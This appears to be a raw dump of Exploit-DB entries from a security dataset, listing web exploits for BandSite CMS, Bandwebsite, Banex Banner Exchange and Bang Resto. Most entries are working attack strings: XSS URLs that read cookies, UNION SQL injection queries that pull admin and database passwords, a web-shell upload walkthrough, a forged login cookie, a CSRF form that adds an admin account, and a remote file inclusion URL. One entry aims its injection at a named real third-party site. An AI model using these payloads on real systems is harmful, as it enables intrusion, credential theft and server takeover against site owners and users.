deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28629
Description: BandSite CMS 1.1 - 'merch_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
            
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
            
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
            
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/merch_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28630
Description: BandSite CMS 1.1 - 'mp3_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
             
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
             
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
             
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/mp3_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28631
Description: BandSite CMS 1.1 - 'news_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
              
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
              
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
              
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/news_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28632
Description: BandSite CMS 1.1 - 'pastshows_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
               
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
               
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
               
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/pastshows_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28633
Description: BandSite CMS 1.1 - 'photo_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/photo_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28634
Description: BandSite CMS 1.1 - 'releases_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                 
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                 
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                 
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/releases_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28635
Description: BandSite CMS 1.1 - 'reviews_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                  
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                  
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                  
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/reviews_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28620
Description: BandSite CMS 1.1 - 'sendemail.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
   
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
   
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
   
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/adminpanel/includes/mailinglist/sendemail.php?message_text=</textarea><script>alert(document.cookie);</script>
Exploit-DB #28636
Description: BandSite CMS 1.1 - 'shows_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                   
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                   
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                   
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/shows_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #28637
Description: BandSite CMS 1.1 - 'signgbook_content.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-21
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20137/info
                    
Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                    
These issues may allow an attacker to access sensitive information, execute arbitrary server-side script code in the context of the affected webserver, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could help the attacker steal cookie-based authentication credentials; other attacks are possible.
                    
Version 1.1.0 is vulnerable; other versions may also be affected.

http://www.example.com/includes/content/signgbook_content.php?the_band=<script>alert(document.cookie);</script>
Exploit-DB #8309
Description: BandSite CMS 1.1.4 - 'members.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-30
Author: SirGod

Exploit:
#########################################################################
[+] BandSite CMS 1.1.4 (SQL/Upload Shell) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#########################################################################

[+] Remote SQL Injection

 - The script is full of SQLI bugs.This is one of them.

 - Vulnerable code in includes\content\member_content.php

-----------------------------------------------------------------------------------------------------------------------------------
	$memid = $_REQUEST['memid'];
	
	// define the query
	// if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
	if(isset($memid)){
		$query = "
			SELECT
				*
			FROM
				memberbios
			WHERE
				rec_id=$memid";
	}
-----------------------------------------------------------------------------------------------------------------------------------


  PoC 1 :

    http://127.0.0.1/members.php?memid=1 union all select 1,2,concat_ws(0x3a,admin_username,admin_password,admin_email),4,5,6,7 from config--

  PoC 2 :

    http://127.0.0.1/members.php?memid=1 union all select 1,2,concat_ws(0x3a,db_username,db_password,db_name,db_host),4,5,6,7 from config--


[+] Upload Shell

 - Need to be logged in as administrator.

 Go to :

    http://127.0.0.1/adminpanel/index.php?action=addphotos

 Add the shell :

    cmd.php

 You will find your shell here :

    http://127.0.0.1/images/gallery/cmd.php

#########################################################################

# milw0rm.com [2009-03-30]
Exploit-DB #6286
Description: BandSite CMS 1.1.4 - Download Backup / Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-08-21
Author: SirGod

Exploit:
###########################################################################
[+] BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF
[+] Discovered By SirGod                         
[+] www.mortal-team.org                         
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN
###########################################################################

[+] Arbitrary Download Database

Go to

   http://localhost/[Path]/adminpanel/phpmydump.php

and the download will begin ( database.sql ) .


[+] Cross Site Scripting

    http://localhost/[Path]/merchandise.php?type=[XSS]
    http://localhost/[Path]/merchandise.php?type=<script>alert(document.cookie)</script>


[+] Cross Site Request Forgery

 If a logged in user with administrator privilegies click the following url he will be logged out.

    http://localhost/[Path]/adminpanel/logout.php


###########################################################################

# milw0rm.com [2008-08-21]
Exploit-DB #7113
Description: BandSite CMS 1.1.4 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-13
Author: Stack

Exploit:
###########################################################################
[+] BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability
[+] Discovered By Mountassif Moad                   
[+] www.v4-team.com                     
[+] Greetz : All my Freind
###########################################################################
Exploit:
javascript:document.cookie = "login_auth=true; path=/";

# milw0rm.com [2008-11-13]
Exploit-DB #2938
Description: Bandwebsite 1.5 - 'LOGIN' Remote Add Admin
Type: webapps
Platform: php
Date: 2006-12-16
Author: H0tTurk-

Exploit:
<!--
- Product : Bandsite portal system
- Website : http://membres.lycos.fr/fluxx/bandwebsite.php 
- Author  : H0tTurk-

WebSiteVersion:1.x 
 - Problem : Admin Added Access.

Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour guide, an admin section to manage overall data and configurations, and more.
-->

      <TABLE cellSpacing=1 cellPadding=5 width=570 bgColor=#665E6B border=0>
        <TBODY>
        <tr><td bgcolor=#ffffff>
&nbsp;</p>
<p>
<form action=http://[target]/bandwebsite/admin.php?&Login=1&section=admins method=post>
   Name:<br>
<input type=text name='name' value='hotturk' size="20"><br>
   Pass:<br>
<input type=text name='pass' value='hotturk' size="20"><br>
<input type=submit name='submit' value='send'><br>
</form></TD></TR></TBODY></TABLE>
<P><BR></P></TD></TR></TBODY></TABLE></BODY>

<!--
Admin Added :)
http://[target]/bandwebsite/login.php
and login as admin 
name :hotturk
pass : hotturk

--------------------------------------------------------
Special Thx: Dr.Max.Virus,GencTurk,Str0ke,SawTurk,Chironex Fleckeri,Unique-key,KurtEfendy,MadConfig,R4zor,Arabian-FighterZ,And Ayyildiz ViP Soldiers 
                                       "BUNDAN OTESÝ YA ÝSTÝKLAL YA OLUM"
-->

# milw0rm.com [2006-12-16]
Exploit-DB #7215
Description: Bandwebsite 1.5 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-24
Author: ZoRLu

Exploit:
[~] Bandwebsite Version 1.5 Sql & XSS Multiple Remote Vuln.
[~]
[~] download: http://membres.lycos.fr/fluxx/bandwebsite.php
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Date: 24.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarI Hacklemeyin ( pls dont make hack demos )
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: OGRETMENLER GUNUMUZ KUTLU OLSUN : ) )
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

exploit:

http://localhost/script/lyrics.php?section=full&id=[SQL]

http://localhost/script/info.php?section=[XSS]

[SQL]

99999999+union+select+1,name,3,pass,5+from+admin--


example:

http://www.caro-kunde.de/lyrics.php?section=full&id=99999999+union+select+1,name,3,pass,5+from+admin--

login:

http://www.caro-kunde.de/login.php


XSS:

http://www.caro-kunde.de/info.php?section="><script>alert()</script>


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-24]
Exploit-DB #28307
Description: Banex PHP MySQL Banner Exchange 2.21 - 'admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-07-31
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19240/info
 
PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 
 
An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.
 
Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/admin.php?activatebanner&id=-1%20[SQLi] 
http://www.example.com/admin.php?activateuser&id='+[SQL] 
http://www.example.com/admin.php?deleteunuser&id='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL] 
http://www.example.com/admin.php?viewmem&viewmem='+[SQL] 
http://www.example.com/admin.php?viewmemunb&viewmemunb='+[SQL] 
http://www.example.com/admin.php?viewunmem&viewunmem='+[SQL] 
http://www.example.com/admin.php?deletebanner&id=-1+[SQL] 
http://www.example.com/admin.php?activateuser&deleteuser='+[SQL] 
http://www.example.com/admin.php?deleteuserbanner&deleteuserbanner='+[SQL]
Exploit-DB #28308
Description: Banex PHP MySQL Banner Exchange 2.21 - 'members.php?cfg_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-31
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19240/info
  
PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 
  
An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.
  
Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/members.php?cfg_root=http://www.example2.com/?
Exploit-DB #28306
Description: Banex PHP MySQL Banner Exchange 2.21 - 'signup.php?site_name' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-31
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19240/info

PHP MySQL Banner Exchange is prone to multiple SQL-injection vulnerabilities and a remote file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit the SQL-injection vulnerabilities to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

An attacker may also leverage the remote file-include issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process.

Version 2.1 of the application is affected by these vulnerabilities; other versions may also be affected.

http://www.example.com/signup.php?signup=1&user_pw=2&passwordconfirm=2&user_name=3&name=3&email=3&site_url=3&site_name='[SQL]/
Exploit-DB #51378
Description: Bang Resto v1.0 - 'Multiple' SQL Injection
Type: webapps
Platform: php
Date: 2023-04-20
Author: Rahad Chowdhury

Exploit:
# Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29849

*Affected Parameters:*
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
itemqty[], btnMenuItemID

*Steps to Reproduce:*
1. First login your staff panel.
2. then go to "order" menu and Select menu then create order and intercept
request data using burp suite.
so your request data will be:

POST /bangresto/staff/displayitem.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/staff/order.php
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
Connection: close

btnMenuItemID=1&qty=1

3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
SQL Injection use this query ".1 union select
1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x[PII_REDACTED]6173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x[PII_REDACTED]6f6e3a3a3a3a20,VERSION())--
-" in "btnMenuItemID" parameter.
4. Check browser you will see user, database and version informations.
5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite
Exploit-DB #51377
Description: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-20
Author: Rahad Chowdhury

Exploit:
# Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29848

*Steps to Reproduce:*
1. First login to your admin panel.
2. then go to Menu section and click add new menu from group.
your request data will be:

POST /bangresto/admin/menu.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/admin/menu.php
Cookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6
Connection: close

itemName=test&itemPrice=1&menuID=1&addItem=

3. Then use any XSS Payload in "itemName" parameter and click add.
4. You will see XSS pop up.